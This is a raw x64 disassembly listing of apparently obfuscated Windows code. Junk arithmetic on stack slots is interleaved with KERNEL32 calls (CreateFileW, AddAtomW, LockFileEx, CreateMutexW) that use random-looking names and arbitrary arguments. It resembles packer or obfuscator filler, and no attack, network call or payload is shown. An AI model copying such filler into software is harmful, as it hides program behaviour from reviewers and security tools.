mov ecx, dword [rsp + 0x8b00]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa900], eax
mov rax, qword [rsp + 0x13be8]
mov ecx, dword [rsp + 0x8904]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13ce0]
mov dword [rcx], eax
lea rax, [0x140363a18]
mov qword [rsp + 0x15120], rax
mov eax, dword [rsp + 0xaae0]
mov ecx, dword [rsp + 0x80d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x1403639a8]
mov dword [rcx], eax
mov rax, qword [0x140363c28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa91c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x73c0], eax
mov rax, qword [rsp + 0x14790]
movzx eax, word [rax]
mov word [rsp + 0x2c50], ax
movsx eax, byte [rsp + 0x6f2]
movsx ecx, byte [rsp + 0x6ee]
add eax, ecx
mov byte [rsp + 0x2f8], al
lea rdx, [rsp + 0x45e38]
mov rcx, qword [rsp + 0x147f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xad04], eax
lea rax, [rsp + 0x3b7]
mov qword [rsp + 0x15128], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.NlJoTDJN87A
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15130], rax
movzx eax, word [rsp + 0x2bf4]
movzx ecx, word [rsp + 0x2b2c]
and eax, ecx
mov rcx, qword [rsp + 0x14db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13da0]
mov rcx, qword [rsp + 0x13820]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9f1c], eax
lea rax, [rsp + 0xaa04]
mov qword [rsp + 0x15138], rax
movzx eax, byte [0x140353576]
mov rcx, qword [rsp + 0x13890]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x119], al
movzx eax, word [rsp + 0x2c3c]
mov word [0x140362f74], ax
mov dword [rsp + 0x20], 0x10ef
mov r9d, 0x16b8
mov r8d, 0x1472
mov edx, 0x39b6
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xac74], eax
lea rax, [rsp + 0xad70]
mov qword [rsp + 0x15140], rax
mov rax, qword [rsp + 0x14708]
mov ecx, dword [rsp + 0xa928]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x149c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13a60]
mov qword [rsp + 0x15148], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15148]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13bf8]
mov dword [rcx], eax
lea rcx, [rsp + 0x41cb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xa278]
mov qword [rsp + 0x15150], rax
mov rax, qword [rsp + 0x14620]
movzx eax, byte [rax]
movzx ecx, byte [0x140353583]
xor eax, ecx
mov byte [rsp + 0x2c8], al
movzx eax, word [rsp + 0x29b8]
mov rcx, qword [rsp + 0x14ce0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x206c], ax
mov rax, qword [rsp + 0x13ed8]
mov rcx, qword [rsp + 0x13b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaba4], eax
mov rax, qword [rsp + 0x13c50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8fdc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa644], eax
mov rax, qword [rsp + 0x14518]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13e80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140362d84], ax
mov rax, qword [rsp + 0x13560]
movzx eax, byte [rax]
mov byte [rsp + 0x718], al
movzx eax, word [rsp + 0x29a8]
movzx ecx, word [rsp + 0x29c8]
add eax, ecx
mov word [rsp + 0x2c38], ax
movzx eax, byte [rsp + 0x6fc]
mov rcx, qword [rsp + 0x13fb8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1f4], al
mov rax, qword [rsp + 0x13cd8]
mov eax, dword [rax]
mov ecx, dword [0x14035cbd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaaec], eax
mov rax, qword [rsp + 0x13790]
mov eax, dword [rax]
mov dword [rsp + 0xae28], eax
mov rax, qword [rsp + 0x13728]
mov ecx, dword [rsp + 0xaab8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14e60]
mov dword [rcx], eax
mov rax, qword [0x1403639d8]
mov ecx, dword [rsp + 0x85c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa928], eax
lea rax, [rsp + 0xacd0]
mov qword [rsp + 0x15158], rax
movzx eax, byte [rsp + 0x68e]
mov rcx, qword [rsp + 0x14180]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13698]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x22c8]
and eax, ecx
mov word [0x14035cbe0], ax
lea rax, [rsp + 0xa71c]
mov qword [rsp + 0x15160], rax
mov rax, qword [rsp + 0x14a88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80c8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14dc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x841c]
mov ecx, dword [rsp + 0x763c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d8c], eax
mov eax, dword [rsp + 0x9568]
mov dword [rsp + 0xae2c], eax
mov rax, qword [rsp + 0x14920]
movzx eax, byte [rax]
mov rcx, qword [0x140363c98]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14d78]
mov byte [rcx], al
lea rax, [rsp + 0x2ba0]
mov qword [rsp + 0x15168], rax
movsx eax, byte [rsp + 0x6b0]
mov rcx, qword [rsp + 0x13250]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x70d], al
mov rax, qword [rsp + 0x131b8]
movsx eax, word [rax]
movsx ecx, word [0x140362bf4]
cdq
idiv ecx
mov word [rsp + 0x2a8c], ax
lea rcx, str.rYKjInwOxPGu
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2bfc], ax
lea rax, [rsp + 0xaa54]
mov qword [0x140363e58], rax
mov rax, qword [rsp + 0x14a88]
mov ecx, dword [rsp + 0xabbc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9114], eax
movzx eax, byte [0x140353577]
movzx ecx, byte [rsp + 0x6d9]
and eax, ecx
mov rcx, qword [rsp + 0x13720]
mov byte [rcx], al
mov rax, qword [rsp + 0x13500]
movzx eax, word [rax]
mov word [rsp + 0x2c54], ax
mov rax, qword [rsp + 0x14878]
mov rcx, qword [rsp + 0x14200]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14950]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae30], eax
mov rax, qword [rsp + 0x13cd8]
mov rcx, qword [rsp + 0x13408]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xae18], eax
mov eax, dword [rsp + 0x9c48]
mov ecx, dword [rsp + 0x910c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x75a0], eax
mov rax, qword [rsp + 0x14138]
mov ecx, dword [0x140363d80]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xab1c], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x2565
mov r8d, 0x10e6
mov edx, 0xca
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xac10], eax
movzx ecx, word [rsp + 0x29e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c34], ax
mov rax, qword [rsp + 0x14ec0]
movzx eax, word [rax]
mov word [rsp + 0x2c58], ax
movzx eax, byte [rsp + 0x713]
movzx ecx, byte [rsp + 0x23c]
sub eax, ecx
mov byte [0x14035e504], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15170], rax
mov eax, dword [0x14035cc1c]
mov ecx, dword [rsp + 0xa9a4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x148d8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac30], eax
lea rax, [rsp + 0xaa58]
mov qword [rsp + 0x15178], rax
mov rax, qword [rsp + 0x13660]
mov rcx, qword [rsp + 0x15158]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x147d0]
mov dword [rcx], eax
mov rax, qword [0x140363cd0]
mov rcx, qword [rsp + 0x14c08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac4c], eax
mov rax, qword [rsp + 0x13fd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x86a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7784], eax
movsx eax, word [rsp + 0x197c]
mov rcx, qword [0x140363ab0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2aa0], ax
movzx eax, byte [rsp + 0x628]
mov byte [rsp + 0x719], al
movzx eax, word [rsp + 0x2bac]
mov rcx, qword [rsp + 0x142c0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1de8], ax
mov rax, qword [rsp + 0x13a58]
movzx eax, byte [rax]
mov byte [0x14035e505], al
mov rax, qword [rsp + 0x13a50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13c10]
mov qword [rsp + 0x15180], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15180]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x13490]
mov dword [rcx], eax
lea rax, [rsp + 0xab0c]
mov qword [rsp + 0x15188], rax
mov rax, qword [rsp + 0x145f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x137e0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14580]
mov word [rcx], ax
lea rax, [0x1403535a2]
mov qword [rsp + 0x15190], rax
mov rax, qword [rsp + 0x139f8]
mov rcx, qword [rsp + 0x14c08]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaaf8], eax
lea rcx, [rsp + 0x41e08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13790]
mov ecx, dword [rsp + 0xab6c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14720]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2b84]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bfc], ax
lea rax, [rsp + 0x7114]
mov qword [rsp + 0x15198], rax
mov rax, qword [rsp + 0x13f08]
mov rcx, qword [rsp + 0x13dc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14d18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14ec0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035cc5c], ax
lea rcx, str.kG1LcKbw
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c5c], ax
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x151a0], rax
lea rcx, [rsp + 0x41a78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13898]
mov ecx, dword [rsp + 0xa9dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14210]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13658]
mov rcx, qword [0x140363e00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13258]
mov dword [rcx], eax
lea rax, [rsp + 0x707]
mov qword [rsp + 0x151a8], rax
mov rax, qword [rsp + 0x135b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e18]
and eax, ecx
mov rcx, qword [rsp + 0x13b58]
mov word [rcx], ax
lea rax, [rsp + 0x25a4]
mov qword [rsp + 0x151b0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rcx, str.MWG_Rwq8ZycM_TlpLGIS
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c20], ax
mov eax, 0x38
imul rax, rax, 0
lea rcx, [rsp + 0x4a160]
add rcx, rax
mov rax, rcx
add rax, 8
lea rcx, [0x140331980]
mov qword [rax], rcx
movzx eax, byte [0x14035359f]
movzx ecx, byte [rsp + 0x6cd]
or eax, ecx
mov byte [rsp + 0x6ff], al
lea rax, [rsp + 0xa8f8]
mov qword [rsp + 0x151b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.MiT1FkgxlHFcpArvE
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x151c0], rax
mov eax, dword [rsp + 0x9c30]
mov ecx, dword [rsp + 0x7908]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140363b38]
mov dword [rcx], eax
mov eax, dword [rsp + 0xad2c]
mov rcx, qword [rsp + 0x13d00]
mov qword [rsp + 0x151c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x151c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xaaa8], eax
mov eax, dword [rsp + 0x7bf0]
mov rcx, qword [rsp + 0x14f28]
mov qword [rsp + 0x151d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x151d0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xae24], eax
mov rax, qword [0x140363b60]
mov eax, dword [rax]
mov dword [rsp + 0xae34], eax
mov rax, qword [rsp + 0x150f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13cb8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6ff], al
lea rax, [rsp + 0x29c0]
mov qword [rsp + 0x151d8], rax
mov eax, dword [rsp + 0xaacc]
mov ecx, dword [rsp + 0xac34]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x62dc], eax
mov rax, qword [rsp + 0x14508]
mov rcx, qword [rsp + 0x13738]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13fa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7ea4]
mov ecx, dword [rsp + 0xa8d4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9430], eax
mov r9d, 0x1f1e
xor r8d, r8d
lea rdx, [rsp + 0x14f70]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xad38], eax
mov rax, qword [0x140363e18]
mov ecx, dword [rsp + 0xae34]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140363b60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14360]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14e00]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b40], ax
lea rax, [rsp + 0x709]
mov qword [rsp + 0x151e0], rax
mov rax, qword [0x140363c58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13288]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x718], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac38], eax
mov rax, qword [rsp + 0x14000]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13950]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a9c], ax
mov rax, qword [0x140363c18]
mov eax, dword [rax]
mov dword [rsp + 0xae38], eax
mov rax, qword [rsp + 0x14c08]
mov rcx, qword [rsp + 0x13d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13960]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e10]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x69f], al
mov rax, qword [0x140363b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x135e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c3c], ax
mov eax, dword [rsp + 0xa8e4]
mov dword [0x140363de4], eax
mov eax, dword [rsp + 0x7b30]
mov dword [rsp + 0xae3c], eax
mov eax, dword [rsp + 0xad58]
mov ecx, dword [rsp + 0x9430]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x133d8]
mov rcx, qword [rsp + 0x136b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x137c0]
mov dword [rcx], eax
lea rax, [rsp + 0x20d8]
mov qword [rsp + 0x151e8], rax
movzx eax, byte [rsp + 0x4bc]
mov rcx, qword [rsp + 0x151e0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6d7], al
lea rax, [rsp + 0x6d94]
mov qword [rsp + 0x151f0], rax
mov eax, dword [rsp + 0xadd8]
movzx ecx, al
mov eax, dword [rsp + 0xa810]
shl eax, cl
mov dword [rsp + 0x9114], eax
mov rax, qword [rsp + 0x14ae8]
mov rcx, qword [rsp + 0x12f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14150]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9c4], eax
lea rax, [rsp + 0xa8ec]
mov qword [0x140363e60], rax
mov rax, qword [rsp + 0x145f0]
mov eax, dword [rax]
mov dword [rsp + 0xae40], eax
movsx eax, byte [rsp + 0x717]
mov rcx, qword [rsp + 0x14940]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x68a], al
lea rcx, [rsp + 0x41e68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x2b4c]
mov qword [rsp + 0x151f8], rax
mov rax, qword [rsp + 0x13400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13ba8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x180c], ax
mov rax, qword [rsp + 0x14158]
movzx eax, byte [rax]
mov rcx, qword [0x140363c40]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6b4], al
lea rax, [rsp + 0xac9c]
mov qword [rsp + 0x15200], rax
mov rax, qword [rsp + 0x14c60]
mov rcx, qword [rsp + 0x14c10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x87e8], eax
movzx eax, word [rsp + 0x29e4]
movzx ecx, word [0x140362eac]
and eax, ecx
mov word [rsp + 0x28f0], ax
movzx eax, byte [rsp + 0x6f4]
mov rcx, qword [rsp + 0x13d50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140353583], al
mov rax, qword [rsp + 0x150d8]
mov rcx, qword [rsp + 0x15038]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad14], eax
mov rax, qword [rsp + 0x14070]
mov rcx, qword [rsp + 0x14f80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xacd8], eax
mov eax, dword [rsp + 0xa9c0]
mov dword [rsp + 0xae44], eax
mov rax, qword [rsp + 0x140e0]
mov rcx, qword [0x140363c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x874c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa924], eax
lea rax, [rsp + 0x6f4]
mov qword [rsp + 0x15208], rax
movzx eax, word [rsp + 0x2180]
movzx ecx, word [rsp + 0x2b00]
add eax, ecx
mov word [rsp + 0x2b50], ax
lea rax, [rsp + 0x7ff0]
mov qword [rsp + 0x15210], rax
lea rdx, [rsp + 0x14a18]
mov rcx, qword [rsp + 0x13528]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa8a8], eax
mov rax, qword [0x140363b58]
mov ecx, dword [rsp + 0x841c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xabbc], eax
lea rax, [rsp + 0x2320]
mov qword [0x140363e68], rax
movsx eax, byte [rsp + 0x209]
mov rcx, qword [rsp + 0x13918]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x146d0]
mov byte [rcx], al
movzx eax, word [0x14035cc34]
mov rcx, qword [rsp + 0x14db8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x15c0], ax
movzx eax, byte [rsp + 0x6d9]
mov rcx, qword [rsp + 0x13740]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x23b], al
mov eax, dword [rsp + 0x6674]
mov dword [rsp + 0xae48], eax
mov rax, qword [rsp + 0x13a88]
mov ecx, dword [rsp + 0xada0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14600]
mov dword [rcx], eax
lea rcx, str.YkilVQcR
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c60], ax
mov rax, qword [rsp + 0x13ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa184]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142e0]
mov dword [rcx], eax
lea rax, [0x140363d20]
mov qword [rsp + 0x15218], rax
mov rax, qword [rsp + 0x14848]
mov ecx, dword [rsp + 0xaa7c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13538]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14db8]
movzx eax, word [rax]
mov word [rsp + 0x2c64], ax
movzx eax, byte [rsp + 0x2a6]
movzx ecx, byte [0x14035e4f7]
sub eax, ecx
mov byte [0x140353576], al
mov eax, dword [rsp + 0xa954]
mov ecx, dword [rsp + 0xada0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13280]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2a20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a20], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x36e3
mov r9d, 0x123e
mov r8d, 0x99291a01
mov edx, 2
mov rcx, qword [rsp + 0x14b70]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xacdc], eax
mov eax, dword [rsp + 0xaa24]
mov ecx, dword [rsp + 0xada4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x14ce8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8bb8], eax
mov eax, dword [rsp + 0xab30]
mov ecx, dword [rsp + 0x7438]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x874c], eax
lea rax, [rsp + 0x6cb]
mov qword [rsp + 0x15220], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.sqVsNU4o_rrMR8qwl0Q0C9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15228], rax
movzx eax, word [0x14035cc14]
movzx ecx, word [rsp + 0x2ae4]
add eax, ecx
mov word [rsp + 0x2ac4], ax
mov rax, qword [rsp + 0x14a60]
movzx eax, byte [rax]
mov byte [rsp + 0x71a], al
mov rax, qword [rsp + 0x149c0]
movsx eax, word [rax]
movsx ecx, word [0x140362bf4]
sub eax, ecx
mov word [rsp + 0x29d8], ax
mov rax, qword [rsp + 0x14e78]
mov rcx, qword [rsp + 0x13710]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x140363e58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xab1c]
shl eax, cl
mov dword [rsp + 0x6b84], eax
movzx eax, byte [rsp + 0x6cd]
mov rcx, qword [rsp + 0x147c0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5bb], al
mov rax, qword [rsp + 0x13de0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11c4]
or eax, ecx
mov rcx, qword [rsp + 0x14478]
mov word [rcx], ax
lea rax, [rsp + 0xaa68]
mov qword [rsp + 0x15230], rax
mov rax, qword [rsp + 0x14cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7a08]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x67dc], eax
mov rax, qword [rsp + 0x14080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f90]
mov dword [rcx], eax
lea rax, [rsp + 0xa724]
mov qword [rsp + 0x15238], rax
movzx eax, word [rsp + 0x29b8]
mov rcx, qword [rsp + 0x14658]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x23cc], ax
lea rax, [rsp + 0x70e]
mov qword [0x140363e70], rax
mov eax, dword [rsp + 0xaac0]
mov dword [rsp + 0xae4c], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3b64
mov r9d, 0x7c1
mov r8d, 0x8162703d
mov edx, 2
mov rcx, qword [rsp + 0x14260]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xaa00], eax
lea rcx, [rsp + 0x41ad8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, str.Q_IzaK5yrG
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c68], ax
mov rax, qword [rsp + 0x13c20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa90c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14fc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13910]
mov rcx, qword [rsp + 0x14c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8bb8], eax
lea rax, [rsp + 0xaa28]
mov qword [rsp + 0x15240], rax
movzx ecx, word [rsp + 0x2bfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b9c], ax
mov rax, qword [rsp + 0x139c8]
mov rcx, qword [rsp + 0x14ce8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x150c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13378]
movzx eax, word [rax]
mov word [rsp + 0x2c6c], ax
mov rax, qword [rsp + 0x132e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14e18]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14990]
mov byte [rcx], al
mov rax, qword [0x140363c60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2aa4]
add eax, ecx
mov word [rsp + 0x126c], ax
lea rax, [rsp + 0x70c]
mov qword [0x140363e78], rax
lea rax, [rsp + 0xa944]
mov qword [rsp + 0x15248], rax
mov rax, qword [rsp + 0x13668]
mov rcx, qword [0x140363968]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xab28], eax
movzx eax, word [rsp + 0x2ad0]
mov rcx, qword [rsp + 0x143e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a40], ax
movzx eax, byte [rsp + 0x42a]
movzx ecx, byte [0x14035e4f5]
xor eax, ecx
mov byte [rsp + 0x166], al
mov rax, qword [rsp + 0x14b20]
mov eax, dword [rax]
mov dword [rsp + 0xae50], eax
mov eax, dword [rsp + 0x67dc]
mov rcx, qword [rsp + 0x14468]
mov qword [rsp + 0x15250], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15250]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x64f0], eax
mov rax, qword [0x140363998]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x65d8]
sar eax, cl
mov dword [rsp + 0x8ce0], eax
lea rax, [rsp + 0x6824]
mov qword [rsp + 0x15258], rax
mov rax, qword [rsp + 0x13530]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x166]
or eax, ecx
mov rcx, qword [0x140363bb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x251c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xabf4], eax
mov rax, qword [rsp + 0x14280]
mov ecx, dword [rsp + 0xab6c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7480], eax
mov rax, qword [rsp + 0x133c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3a8]
add ecx, eax
